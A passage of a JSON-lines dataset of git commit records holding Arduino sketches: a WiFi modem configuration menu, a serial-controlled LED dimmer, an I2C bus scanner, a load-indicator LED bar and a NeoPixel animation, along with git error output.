settings:%s\",EOLNC,EOLNC);\n if(newListen)\n {\n ConnSettings flags(serverSpec.flagsBitmap);\n serial.printf(\"%s[HOST] Listener Port: %d%s\",EOLNC,serverSpec.port,EOLNC);\n serial.printf(\"[PETSCII] Translation: %s%s\",flags.petscii?\"ON\":\"OFF\",EOLNC);\n serial.printf(\"[TELNET] Translation: %s%s\",flags.telnet?\"ON\":\"OFF\",EOLNC);\n serial.printf(\"[ECHO]: %s%s\",flags.echo?\"ON\":\"OFF\",EOLNC);\n serial.printf(\"[FLOW] Control: %s%s\",flags.xonxoff?\"XON\/XOFF\":flags.rtscts?\"RTS\/CTS\":\"DISABLED\",EOLNC);\n serial.printf(\"[DISABLE] BBS host listener%s\",EOLNC);\n }\n else\n serial.printf(\"%s[ENABLE] BBS host listener%s\",EOLNC,EOLNC);\n serial.printf(\"%sEnter option to toggle or ENTER to exit%s: \",EOLNC,EOLNC);\n break;\n }\n case ZCFGMENU_WIMENU:\n {\n int n = WiFi.scanNetworks();\n if(n>20)\n n=20;\n serial.printf(\"%sWiFi Networks:%s\",EOLNC,EOLNC);\n lastNumNetworks=n;\n for (int i = 0; i < n; ++i)\n {\n serial.printf(\"[%d] \",(i+1));\n serial.prints(WiFi.SSID(i).c_str());\n serial.prints(\" (\");\n serial.printi(WiFi.RSSI(i));\n serial.prints(\")\");\n serial.prints((WiFi.encryptionType(i) == ENC_TYPE_NONE)?\" \":\"*\");\n serial.prints(EOLN.c_str());\n serial.flush();\n delay(10);\n }\n serial.printf(\"%sEnter number to connect, or ENTER: \",EOLNC);\n break;\n }\n case ZCFGMENU_NEWHOST:\n {\n serial.printf(\"%sEnter a new hostname: \",EOLNC);\n break;\n }\n case ZCFGMENU_WIFIPW:\n {\n serial.printf(\"%sEnter your WiFi Password: \",EOLNC);\n break;\n }\n case ZCFGMENU_FLOW:\n {\n serial.printf(\"%sEnter RTS\/CTS, XON\/XOFF, or DISABLE flow control%s: \",EOLNC,EOLNC);\n break;\n }\n case ZCFGMENU_WICONFIRM:\n {\n serial.printf(\"%sYour setting changed. Save them (y\/N)?\",EOLNC);\n break;\n }\n }\n }\n if(commandMode.checkPlusEscape())\n {\n switchBackToCommandMode();\n }\n else\n if(serial.isSerialOut())\n {\n serialOutDeque();\n }\n}\n\r\n","old_contents":"\/*\n Copyright 2016-2019 Bo Zimmerman\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n*\/\n\nvoid ZConfig::switchTo()\n{\n currMode=&configMode;\n serial.setFlowControlType(commandMode.serial.getFlowControlType());\n serial.setPetsciiMode(commandMode.serial.isPetsciiMode());\n savedEcho=commandMode.doEcho;\n newListen=commandMode.preserveListeners;\n commandMode.doEcho=true;\n serverSpec.port=6502;\n if(servs)\n serverSpec = *servs;\n serial.setXON(true);\n showMenu=true;\n EOLN=commandMode.EOLN;\n EOLNC=EOLN.c_str();\n currState = ZCFGMENU_MAIN;\n lastNumber=0;\n lastAddress=\"\";\n lastOptions=\"\";\n settingsChanged=false;\n lastNumNetworks=0;\n}\n\nvoid ZConfig::serialIncoming()\n{\n bool crReceived=commandMode.readSerialStream();\n commandMode.clearPlusProgress(); \/\/ re-check the plus-escape mode\n if(crReceived)\n {\n doModeCommand();\n }\n}\n\nvoid ZConfig::switchBackToCommandMode()\n{\n commandMode.doEcho=savedEcho;\n currMode = &commandMode;\n}\n\nvoid ZConfig::doModeCommand()\n{\n String cmd = commandMode.getNextSerialCommand();\n char c='?';\n for(int i=0;i<cmd.length();i++)\n {\n if(cmd[i]>32)\n {\n c=lc(cmd[i]);\n break;\n }\n }\n switch(currState)\n {\n case ZCFGMENU_MAIN:\n {\n if((c=='q')||(cmd.length()==0))\n {\n if(settingsChanged)\n {\n currState=ZCFGMENU_WICONFIRM;\n showMenu=true;\n }\n else\n {\n commandMode.showInitMessage();\n switchBackToCommandMode();\n return;\n }\n }\n else\n if(c=='a') \/\/ add to phonebook\n {\n currState=ZCFGMENU_NUM;\n showMenu=true;\n }\n else\n if(c=='w') \/\/ wifi\n {\n currState=ZCFGMENU_WIMENU;\n showMenu=true;\n }\n else\n if(c=='h') \/\/ host\n {\n currState=ZCFGMENU_NEWHOST;\n showMenu=true;\n }\n else\n if(c=='f') \/\/ flow control\n {\n currState=ZCFGMENU_FLOW;\n showMenu=true;\n }\n else\n if(c=='p') \/\/ petscii translation toggle\n {\n commandMode.serial.setPetsciiMode(!commandMode.serial.isPetsciiMode());\n serial.setPetsciiMode(commandMode.serial.isPetsciiMode());\n settingsChanged=true;\n showMenu=true;\n }\n else\n if(c=='e') \/\/ echo\n {\n savedEcho = !savedEcho;\n settingsChanged=true;\n showMenu=true;\n }\n else\n if(c=='b') \/\/ bbs\n {\n currState=ZCFGMENU_BBSMENU;\n showMenu=true;\n }\n else\n if(c>47 && c<58) \/\/ its a phonebook entry!\n {\n PhoneBookEntry *pb=PhoneBookEntry::findPhonebookEntry(cmd);\n if(pb == null)\n {\n serial.printf(\"%s%sPhone number not found: '%s'.%s%s\",EOLNC,EOLNC,cmd.c_str(),EOLNC,EOLNC);\n currState=ZCFGMENU_MAIN;\n showMenu=true;\n }\n else\n {\n lastNumber = pb->number;\n lastAddress = pb->address;\n lastOptions = pb->modifiers;\n currState=ZCFGMENU_ADDRESS;\n showMenu=true;\n }\n }\n else\n {\n showMenu=true; \/\/ re-show the menu\n }\n break;\n }\n case ZCFGMENU_WICONFIRM:\n {\n if((cmd.length()==0)||(c=='n'))\n {\n commandMode.showInitMessage();\n switchBackToCommandMode();\n return;\n }\n else\n if(c=='y')\n {\n if(newListen != commandMode.preserveListeners)\n {\n commandMode.preserveListeners=newListen;\n if(!newListen)\n {\n SPIFFS.remove(\"\/zlisteners.txt\");\n WiFiServerNode::DestroyAllServers();\n }\n else\n {\n commandMode.ringCounter=1;\n commandMode.autoStreamMode=true;\n WiFiServerNode *s=WiFiServerNode::FindServer(serverSpec.port);\n if(s != null)\n delete s;\n s = new WiFiServerNode(serverSpec.port,serverSpec.flagsBitmap);\n WiFiServerNode::SaveWiFiServers();\n }\n }\n else\n if(commandMode.preserveListeners)\n {\n WiFiServerNode *s = WiFiServerNode::FindServer(serverSpec.port);\n if( s != null)\n {\n if(s->flagsBitmap != serverSpec.flagsBitmap)\n {\n s->flagsBitmap = serverSpec.flagsBitmap;\n WiFiServerNode::SaveWiFiServers();\n }\n }\n else\n {\n WiFiServerNode::DestroyAllServers();\n s = new WiFiServerNode(serverSpec.port,serverSpec.flagsBitmap);\n WiFiServerNode::SaveWiFiServers();\n }\n }\n commandMode.reSaveConfig();\n serial.printf(\"%sSettings saved.%s\",EOLNC,EOLNC);\n commandMode.showInitMessage();\n switchBackToCommandMode();\n return;\n }\n else\n showMenu=true;\n }\n case ZCFGMENU_NUM:\n {\n PhoneBookEntry *pb=PhoneBookEntry::findPhonebookEntry(cmd);\n if(pb != null)\n {\n serial.printf(\"%s%sNumber already exists '%s'.%s%s\",EOLNC,EOLNC,cmd.c_str(),EOLNC,EOLNC);\n currState=ZCFGMENU_MAIN;\n showMenu=true;\n }\n else\n if(cmd.length()==0)\n {\n currState=ZCFGMENU_MAIN;\n showMenu=true;\n }\n else\n {\n lastNumber = atol((char *)cmd.c_str());\n lastAddress = \"\";\n lastOptions = \"\";\n currState=ZCFGMENU_ADDRESS;\n showMenu=true;\n }\n break;\n }\n case ZCFGMENU_NEWPORT:\n {\n if(cmd.length()>0)\n {\n serverSpec.port = atoi((char *)cmd.c_str());\n settingsChanged=true;\n }\n currState=ZCFGMENU_BBSMENU;\n showMenu=true;\n break;\n }\n case ZCFGMENU_ADDRESS:\n {\n PhoneBookEntry *entry = PhoneBookEntry::findPhonebookEntry(lastNumber);\n if(cmd.equalsIgnoreCase(\"delete\") && (entry != null))\n {\n delete entry;\n currState=ZCFGMENU_MAIN;\n serial.printf(\"%sPhonebook entry deleted.%s%s\",EOLNC,EOLNC,EOLNC);\n }\n else\n if((cmd.length()==0) && (entry != null))\n currState=ZCFGMENU_OPTIONS; \/\/ just keep old values\n else\n {\n boolean fail = cmd.indexOf(',') >= 0;\n int colonDex=cmd.indexOf(':');\n fail = fail || (colonDex <= 0) || (colonDex == cmd.length()-1);\n fail = fail || (colonDex != cmd.lastIndexOf(':'));\n if(!fail)\n {\n for(int i=colonDex+1;i<cmd.length();i++)\n if(strchr(\"0123456789\",cmd[i])<0)\n fail=true;\n }\n if(fail)\n {\n serial.printf(\"%sInvalid address format (hostname:port) for '%s'.%s%s\",EOLNC,cmd.c_str(),EOLNC,EOLNC);\n }\n else\n {\n lastAddress = cmd;\n currState=ZCFGMENU_OPTIONS;\n }\n }\n showMenu=true; \/\/ re-show the menu\n break;\n }\n case ZCFGMENU_BBSMENU:\n {\n if(cmd.length()==0)\n currState=ZCFGMENU_MAIN;\n else\n {\n ConnSettings flags(serverSpec.flagsBitmap);\n switch(c)\n {\n case 'h':\n currState=ZCFGMENU_NEWPORT;\n break;\n case 'd':\n newListen=false;\n settingsChanged=true;\n break;\n case 'p': \n if(newListen)\n {\n flags.petscii=!flags.petscii;\n settingsChanged=true;\n }\n break;\n case 't': \n if(newListen)\n {\n flags.telnet=!flags.telnet;\n settingsChanged=true;\n }\n break;\n case 'e':\n if(newListen)\n flags.echo=!flags.echo;\n else\n newListen=true;\n settingsChanged=true;\n break;\n case 'f':\n if(newListen)\n {\n if(flags.xonxoff)\n {\n flags.xonxoff=false;\n flags.rtscts=true; \n }\n else\n if(flags.rtscts)\n flags.rtscts=false;\n else\n flags.xonxoff=true;\n settingsChanged=true;\n }\n break;\n case 's': \n if(newListen)\n {\n flags.secure=!flags.secure;\n settingsChanged=true;\n }\n break;\n \n default:\n serial.printf(\"%sInvalid option '%s'.%s%s\",EOLNC,cmd.c_str(),EOLNC,EOLNC);\n break;\n }\n settingsChanged=true;\n serverSpec.flagsBitmap = flags.getBitmap();\n }\n showMenu=true;\n break;\n }\n case ZCFGMENU_OPTIONS:\n {\n if(cmd.length()==0)\n {\n PhoneBookEntry *entry = PhoneBookEntry::findPhonebookEntry(lastNumber);\n if(entry != null)\n {\n serial.printf(\"%sPhonebook entry updated.%s%s\",EOLNC,EOLNC,EOLNC);\n delete entry;\n }\n else\n serial.printf(\"%sPhonebook entry added.%s%s\",EOLNC,EOLNC,EOLNC);\n entry = new PhoneBookEntry(lastNumber,lastAddress.c_str(),lastOptions.c_str());\n PhoneBookEntry::savePhonebook();\n currState=ZCFGMENU_MAIN;\n }\n else\n {\n ConnSettings flags(lastOptions.c_str());\n switch(c)\n {\n case 'p': \n flags.petscii=!flags.petscii;\n break;\n case 't': \n flags.telnet=!flags.telnet;\n break;\n case 'e': \n flags.echo=!flags.echo;\n break;\n case 'f':\n if(flags.xonxoff)\n {\n flags.xonxoff=false;\n flags.rtscts=true; \n }\n else\n if(flags.rtscts)\n flags.rtscts=false;\n else\n flags.xonxoff=true;\n break;\n case 's': \n flags.secure=!flags.secure;\n break;\n default:\n serial.printf(\"%sInvalid toggle option '%s'.%s%s\",EOLNC,cmd.c_str(),EOLNC,EOLNC);\n break;\n }\n lastOptions = flags.getFlagString();\n }\n showMenu=true; \/\/ re-show the menu\n break;\n }\n case ZCFGMENU_WIMENU:\n {\n if(cmd.length()==0)\n {\n currState=ZCFGMENU_MAIN;\n showMenu=true;\n }\n else\n {\n int num=atoi(cmd.c_str());\n if((num<=0)||(num>lastNumNetworks))\n serial.printf(\"%sInvalid number. Try again.%s\",EOLNC,EOLNC);\n else\n if(WiFi.encryptionType(num-1) == ENC_TYPE_NONE)\n {\n if(!connectWifi(WiFi.SSID(num-1).c_str(),\"\"))\n {\n serial.printf(\"%sUnable to connect to %s. :(%s\",EOLNC,WiFi.SSID(num-1).c_str(),EOLNC);\n }\n else\n {\n wifiSSI=WiFi.SSID(num-1);\n wifiPW=\"\";\n settingsChanged=true;\n serial.printf(\"%sConnected!%s\",EOLNC,EOLNC);\n currState=ZCFGMENU_MAIN;\n }\n showMenu=true;\n }\n else\n {\n lastNumber=num-1;\n currState=ZCFGMENU_WIFIPW;\n showMenu=true;\n }\n }\n break;\n }\n case ZCFGMENU_NEWHOST:\n if(cmd.length()==0)\n currState=ZCFGMENU_WIMENU;\n else\n {\n hostname=cmd;\n hostname.replace(',','.');\n if((wifiSSI.length() > 0) && (WiFi.status()==WL_CONNECTED))\n {\n if(!connectWifi(wifiSSI.c_str(),wifiPW.c_str()))\n serial.printf(\"%sUnable to connect to %s. :(%s\",EOLNC,wifiSSI.c_str(),EOLNC);\n settingsChanged=true;\n }\n currState=ZCFGMENU_MAIN;\n showMenu=true;\n }\n break;\n case ZCFGMENU_WIFIPW:\n if(cmd.length()==0)\n {\n currState=ZCFGMENU_WIMENU;\n showMenu=true;\n }\n else\n {\n if(!connectWifi(WiFi.SSID(lastNumber).c_str(),cmd.c_str()))\n {\n serial.printf(\"%sConnection failed. Retrying %s.%s\",EOLNC,WiFi.SSID(lastNumber).c_str(),EOLNC);\n for(int t=0;t<3;t++)\n {\n for(int i=0;i<500;i++)\n {\n if(serial.isSerialOut())\n serialOutDeque();\n delay(1);\n }\n }\n if((wifiSSI.length() == 0) || (WiFi.status()!=WL_CONNECTED))\n serial.printf(\"%sUnable to connect to %s.%s\",EOLNC,WiFi.SSID(lastNumber).c_str(),EOLNC);\n }\n else\n {\n wifiSSI=WiFi.SSID(lastNumber);\n wifiPW=cmd;\n settingsChanged=true;\n serial.printf(\"%sConnected!%s\",EOLNC,EOLNC);\n currState=ZCFGMENU_MAIN;\n }\n showMenu=true;\n }\n break;\n case ZCFGMENU_FLOW:\n if(cmd.length()==0)\n {\n currState=ZCFGMENU_WIMENU;\n showMenu=true;\n }\n else\n {\n currState=ZCFGMENU_MAIN;\n showMenu=true;\n if(c=='x')\n commandMode.serial.setFlowControlType(FCT_NORMAL);\n else\n if(c=='r')\n commandMode.serial.setFlowControlType(FCT_RTSCTS);\n else\n if(c=='d')\n commandMode.serial.setFlowControlType(FCT_DISABLED);\n else\n {\n serial.printf(\"%sUnknown flow control type '%s'. Try again.%s\",EOLNC,cmd.c_str(),EOLNC);\n currState=ZCFGMENU_FLOW;\n }\n settingsChanged = settingsChanged || (currState ==ZCFGMENU_MAIN);\n serial.setFlowControlType(commandMode.serial.getFlowControlType());\n serial.setXON(true);\n }\n break;\n }\n}\n\nvoid ZConfig::loop()\n{\n if(showMenu)\n {\n showMenu=false;\n switch(currState)\n {\n case ZCFGMENU_MAIN:\n {\n serial.printf(\"%sMain Menu%s\",EOLNC,EOLNC);\n serial.printf(\"[HOST] name: %s%s\",hostname.c_str(),EOLNC);\n serial.printf(\"[WIFI] connection: %s%s\",(WiFi.status() == WL_CONNECTED)?wifiSSI.c_str():\"Not connected\",EOLNC);\n String flowName;\n switch(commandMode.serial.getFlowControlType())\n {\n case FCT_NORMAL:\n flowName = \"XON\/XOFF\";\n break;\n case FCT_RTSCTS:\n flowName = \"RTS\/CTS\";\n break;\n case FCT_DISABLED:\n flowName = \"DISABLED\";\n break;\n default:\n flowName = \"OTHER\";\n break;\n }\n String bbsMode = \"DISABLED\";\n if(newListen)\n {\n bbsMode = \"Port \";\n bbsMode += serverSpec.port;\n }\n serial.printf(\"[FLOW] control: %s%s\",flowName.c_str(),EOLNC);\n serial.printf(\"[ECHO] keystrokes: %s%s\",savedEcho?\"ON\":\"OFF\",EOLNC);\n serial.printf(\"[BBS] host: %s%s\",bbsMode.c_str(),EOLNC);\n serial.printf(\"[PETSCII] translation: %s%s\",commandMode.serial.isPetsciiMode()?\"ON\":\"OFF\",EOLNC);\n serial.printf(\"[ADD] new phonebook entry%s\",EOLNC);\n PhoneBookEntry *p = phonebook;\n if(p != null)\n {\n serial.printf(\"Phonebook entries:%s\",EOLNC);\n while(p != null)\n {\n serial.printf(\" [%lu] %s%s\",p->number, p->address, EOLNC);\n p=p->next;\n }\n }\n serial.printf(\"%sEnter command or entry or ENTER to exit: \",EOLNC,EOLNC);\n break;\n }\n case ZCFGMENU_NUM:\n serial.printf(\"%sEnter a new fake phone number (digits ONLY)%s: \",EOLNC,EOLNC);\n break;\n case ZCFGMENU_NEWPORT:\n serial.printf(\"%sEnter a port number to listen on%s: \",EOLNC,EOLNC);\n break;\n case ZCFGMENU_ADDRESS:\n {\n PhoneBookEntry *lastEntry = PhoneBookEntry::findPhonebookEntry(lastNumber);\n if(lastEntry == null)\n serial.printf(\"%sEnter a new hostname:port%s: \",EOLNC,EOLNC);\n else\n serial.printf(\"%sModify hostname:port, or enter DELETE (%s)%s: \",EOLNC,lastAddress.c_str(),EOLNC);\n break;\n }\n case ZCFGMENU_OPTIONS:\n {\n ConnSettings flags(lastOptions.c_str());\n serial.printf(\"%sConnection Options:%s\",EOLNC,EOLNC);\n serial.printf(\"[PETSCII] Translation: %s%s\",flags.petscii?\"ON\":\"OFF\",EOLNC);\n serial.printf(\"[TELNET] Translation: %s%s\",flags.telnet?\"ON\":\"OFF\",EOLNC);\n serial.printf(\"[ECHO]: %s%s\",flags.echo?\"ON\":\"OFF\",EOLNC);\n serial.printf(\"[FLOW] Control: %s%s\",flags.xonxoff?\"XON\/XOFF\":flags.rtscts?\"RTS\/CTS\":\"DISABLED\",EOLNC);\n serial.printf(\"%sEnter option to toggle or ENTER to exit%s: \",EOLNC,EOLNC);\n break;\n }\n case ZCFGMENU_BBSMENU:\n {\n serial.printf(\"%sBBS host settings:%s\",EOLNC,EOLNC);\n if(newListen)\n {\n ConnSettings flags(serverSpec.flagsBitmap);\n serial.printf(\"%s[HOST] Listener Port: %d%s\",EOLNC,serverSpec.port,EOLNC);\n serial.printf(\"[PETSCII] Translation: %s%s\",flags.petscii?\"ON\":\"OFF\",EOLNC);\n serial.printf(\"[TELNET] Translation: %s%s\",flags.telnet?\"ON\":\"OFF\",EOLNC);\n serial.printf(\"[ECHO]: %s%s\",flags.echo?\"ON\":\"OFF\",EOLNC);\n serial.printf(\"[FLOW] Control: %s%s\",flags.xonxoff?\"XON\/XOFF\":flags.rtscts?\"RTS\/CTS\":\"DISABLED\",EOLNC);\n serial.printf(\"[DISABLE] BBS host listener%s\",EOLNC);\n }\n else\n serial.printf(\"%s[ENABLE] BBS host listener%s\",EOLNC,EOLNC);\n serial.printf(\"%sEnter option to toggle or ENTER to exit%s: \",EOLNC,EOLNC);\n break;\n }\n case ZCFGMENU_WIMENU:\n {\n int n = WiFi.scanNetworks();\n if(n>20)\n n=20;\n serial.printf(\"%sWiFi Networks:%s\",EOLNC,EOLNC);\n lastNumNetworks=n;\n for (int i = 0; i < n; ++i)\n {\n serial.printf(\"[%d] \",(i+1));\n serial.prints(WiFi.SSID(i).c_str());\n serial.prints(\" (\");\n serial.printi(WiFi.RSSI(i));\n serial.prints(\")\");\n serial.prints((WiFi.encryptionType(i) == ENC_TYPE_NONE)?\" \":\"*\");\n serial.prints(EOLN.c_str());\n serial.flush();\n delay(10);\n }\n serial.printf(\"%sEnter number to connect, or ENTER: \",EOLNC);\n break;\n }\n case ZCFGMENU_NEWHOST:\n {\n serial.printf(\"%sEnter a new hostname: \",EOLNC);\n break;\n }\n case ZCFGMENU_WIFIPW:\n {\n serial.printf(\"%sEnter your WiFi Password: \",EOLNC);\n break;\n }\n case ZCFGMENU_FLOW:\n {\n serial.printf(\"%sEnter RTS\/CTS, XON\/XOFF, or DISABLE flow control%s: \",EOLNC,EOLNC);\n break;\n }\n case ZCFGMENU_WICONFIRM:\n {\n serial.printf(\"%sYour setting changed. Save them (y\/N)?\",EOLNC);\n break;\n }\n }\n }\n if(commandMode.checkPlusEscape())\n {\n switchBackToCommandMode();\n }\n else\n if(serial.isSerialOut())\n {\n serialOutDeque();\n }\n}\n\r\n","returncode":0,"stderr":"","license":"apache-2.0","lang":"Arduino"} {"commit":"4ad5f5d0c6a36aef6997c6804f77d56a1541e1c2","subject":"Create QtArduino1.ino","message":"Create QtArduino1.ino","repos":"stephaneAG\/Qt_tests,stephaneAG\/Qt_tests,stephaneAG\/Qt_tests,stephaneAG\/Qt_tests,stephaneAG\/Qt_tests","old_file":"qt_arduino_test1\/corresponding_arduino_sketch\/QtArduino1.ino","new_file":"qt_arduino_test1\/corresponding_arduino_sketch\/QtArduino1.ino","new_contents":"\/*\n** Arduino - Qt 'qextserialport' lib test file 1\n**\n** controls the brightness of a LED present on the pin 9\n**\n** ~schematics: Gnd <->l LED L<->1KOhm resistor<->pin9\n**\n*\/\n\nconst int ledPin = 9; \/\/ the pin the LED is attached to\n\/\/const byte ledBrightness = 150;\n\nvoid setup()\n{\n Serial.begin(9600); \/\/start the serial port at 9600 bauds\n pinMode(ledPin, OUTPUT); \/\/ init the LED pin as an output\n \/\/analogWrite(ledPin, ledBrightness);\/\/ set the brightness of the LED\n}\n\nvoid loop()\n{\n byte brightness;\n \/\/ if we get data from the computer, update the LED brightness\n if ( Serial.available() > 0 ) \/\/ if data is available from the serial\n {\n brightness = Serial.read(); \/\/ read the most recent byte ('ll be from 0 to 255)\n analogWrite(ledPin, brightness);\/\/ set the brightness of the LED\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'qt_arduino_test1\/corresponding_arduino_sketch\/QtArduino1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3109e7cad891fd901c701e86ae35f0e701d12555","subject":"Delete build.ino","message":"Delete build.ino","repos":"AJama50\/CS207-Project","old_file":"build.ino","new_file":"build.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/AJama50\/CS207-Project.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"ddb96311bdae590820c5515858543d81a042905d","subject":"Scanner I2C","message":"Scanner I2C\n","repos":"totothekiller\/weather-station,totothekiller\/weather-station","old_file":"I2C_scanner\/I2C_scanner.ino","new_file":"I2C_scanner\/I2C_scanner.ino","new_contents":"\/\/ --------------------------------------\n\/\/ i2c_scanner\n\/\/\n\/\/ Version 1\n\/\/ This program (or code that looks like it)\n\/\/ can be found in many places.\n\/\/ For example on the Arduino.cc forum.\n\/\/ The original author is not know.\n\/\/ Version 2, Juni 2012, Using Arduino 1.0.1\n\/\/ Adapted to be as simple as possible by Arduino.cc user Krodal\n\/\/ Version 3, Feb 26 2013\n\/\/ V3 by louarnold\n\/\/ Version 4, March 3, 2013, Using Arduino 1.0.3\n\/\/ by Arduino.cc user Krodal.\n\/\/ Changes by louarnold removed.\n\/\/ Scanning addresses changed from 0...127 to 1...119,\n\/\/ according to the i2c scanner by Nick Gammon\n\/\/ http:\/\/www.gammon.com.au\/forum\/?id=10896\n\/\/ Version 5, March 28, 2013\n\/\/ As version 4, but address scans now to 127.\n\/\/ A sensor seems to use address 120.\n\/\/ \n\/\/\n\/\/ This sketch tests the standard 7-bit addresses\n\/\/ Devices with higher bit address might not be seen properly.\n\/\/\n\n#include <Wire.h>\n\n\nvoid setup()\n{\n Wire.begin();\n\n Serial.begin(9600);\n Serial.println(\"\\nI2C Scanner\");\n}\n\n\nvoid loop()\n{\n byte error, address;\n int nDevices;\n\n Serial.println(\"Scanning...\");\n\n nDevices = 0;\n for(address = 1; address < 127; address++ ) \n {\n \/\/ The i2c_scanner uses the return value of\n \/\/ the Write.endTransmisstion to see if\n \/\/ a device did acknowledge to the address.\n Wire.beginTransmission(address);\n error = Wire.endTransmission();\n\n if (error == 0)\n {\n Serial.print(\"I2C device found at address 0x\");\n if (address<16) \n Serial.print(\"0\");\n Serial.print(address,HEX);\n Serial.println(\" !\");\n\n nDevices++;\n }\n else if (error==4) \n {\n Serial.print(\"Unknow error at address 0x\");\n if (address<16) \n Serial.print(\"0\");\n Serial.println(address,HEX);\n } \n }\n if (nDevices == 0)\n Serial.println(\"No I2C devices found\\n\");\n else\n Serial.println(\"done\\n\");\n\n delay(5000); \/\/ wait 5 seconds for next scan\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'I2C_scanner\/I2C_scanner.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9ee9df9ca94fc5aa68a8cf5a4a0102723cd19682","subject":"Create e.ino","message":"Create e.ino","repos":"Aroltd\/e,Aroltd\/e,Aroltd\/e,Aroltd\/e,Aroltd\/e,Aroltd\/e,Aroltd\/e,Aroltd\/e,Aroltd\/e,Aroltd\/e,Aroltd\/e,Aroltd\/e,Aroltd\/e,Aroltd\/e,Aroltd\/e,Aroltd\/e,Aroltd\/e,Aroltd\/e,Aroltd\/e","old_file":"e.ino","new_file":"e.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Aroltd\/e.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"32b4f972e8f1b8ba3d520a3a647d7f3618c9365a","subject":"Added Alarm Condition reset to non NOBODY OPMODES","message":"Added Alarm Condition reset to non NOBODY OPMODES\n","repos":"JulioOrdonezV\/pvcloud,JulioOrdonezV\/pvcloud,JulioOrdonezV\/pvcloud,JulioOrdonezV\/pvcloud","old_file":"pvcloud_arduino_library\/examples\/tombo_demo\/tombo_demo.ino","new_file":"pvcloud_arduino_library\/examples\/tombo_demo\/tombo_demo.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulioOrdonezV\/pvcloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b639dc9b2843058595c9bfd55ade7358523a7379","subject":"updates notes","message":"updates notes\n","repos":"tylergrreid\/BRIC_II,tylergrreid\/BRIC_II,tylergrreid\/BRIC_II","old_file":"BRIC_II\/BRIC_II.ino","new_file":"BRIC_II\/BRIC_II.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tylergrreid\/BRIC_II.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f1c5550e1b695fa4ba65652c6f91d2b65bcce67f","subject":"Add the firmware source","message":"Add the firmware source\n","repos":"swarmer\/syslights","old_file":"syslights.ino","new_file":"syslights.ino","new_contents":"const int led_pins[] = {11, 10, 9, 6, 5, 3};\nconst int led_count = sizeof(led_pins) \/ sizeof(int);\nconst int step_size = 8;\n\nint value = 0;\nlong last_input = 0;\n\nvoid setup()\n{\n Serial.setTimeout(100);\n Serial.begin(4800);\n \n pinMode(LED_BUILTIN, OUTPUT);\n digitalWrite(LED_BUILTIN, HIGH);\n \n for (int i = 0; i < led_count; ++i) {\n pinMode(led_pins[i], OUTPUT);\n analogWrite(led_pins[i], 0);\n }\n}\n\nvoid loop()\n{\n if (Serial.available() > 0) {\n value = Serial.parseInt();\n last_input = millis();\n }\n \n long dt = millis() - last_input;\n if (dt < 0 || dt > 1000)\n value = 0;\n\n int led_level = map(value, 0, 1000, 0, led_count * step_size);\n \n for (int i = 0; i < led_count; ++i) {\n int rpins = led_level \/ step_size;\n if (i < rpins) {\n analogWrite(led_pins[i], 255);\n } else if (i == rpins) {\n int res = led_level % step_size;\n analogWrite(led_pins[i], (1 << res) - 1);\n } else {\n analogWrite(led_pins[i], 0);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'syslights.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"06839d867e922e1db61a13af00fd845472c12f02","subject":"Init add","message":"Init add\n","repos":"GemHunt\/lighting-augmentation","old_file":"multi_point_led\/multi_point_led.ino","new_file":"multi_point_led\/multi_point_led.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n#ifdef __AVR__\n#include <avr\/power.h>\n#endif\n\n#define PIN 6\n\n\/\/ How many NeoPixels are attached to the Arduino?\n#define NUMPIXELS 18\n\nAdafruit_NeoPixel pixels = Adafruit_NeoPixel(NUMPIXELS, PIN, NEO_GRB + NEO_KHZ800);\n\nint delayval = 65; \/\/ delay for half a second\n\nvoid setup() {\n \/\/ This is for Trinket 5V 16MHz, you can remove these three lines if you are not using a Trinket\n#if defined (__AVR_ATtiny85__)\n if (F_CPU == 16000000) clock_prescale_set(clock_div_1);\n#endif\n \/\/ End of trinket special code\n\n pixels.begin(); \/\/ This initializes the NeoPixel library.\n}\n\nvoid loop() {\n\n \/\/ For a set of NeoPixels the first NeoPixel is 0, second is 1, all the way up to the count of pixels minus one.\n int on_pixel;\n int off_pixel;\n int num_pixels_on = 2;\n for(int i=0;i < NUMPIXELS;i++){\n on_pixel = i;\n off_pixel = i - num_pixels_on;\n if (on_pixel < 0){\n on_pixel += NUMPIXELS;\n }\n if (off_pixel < 0){\n off_pixel += NUMPIXELS;\n }\n if (on_pixel > NUMPIXELS){\n on_pixel -= NUMPIXELS;\n }\n if (off_pixel > NUMPIXELS){\n off_pixel -= NUMPIXELS;\n }\n 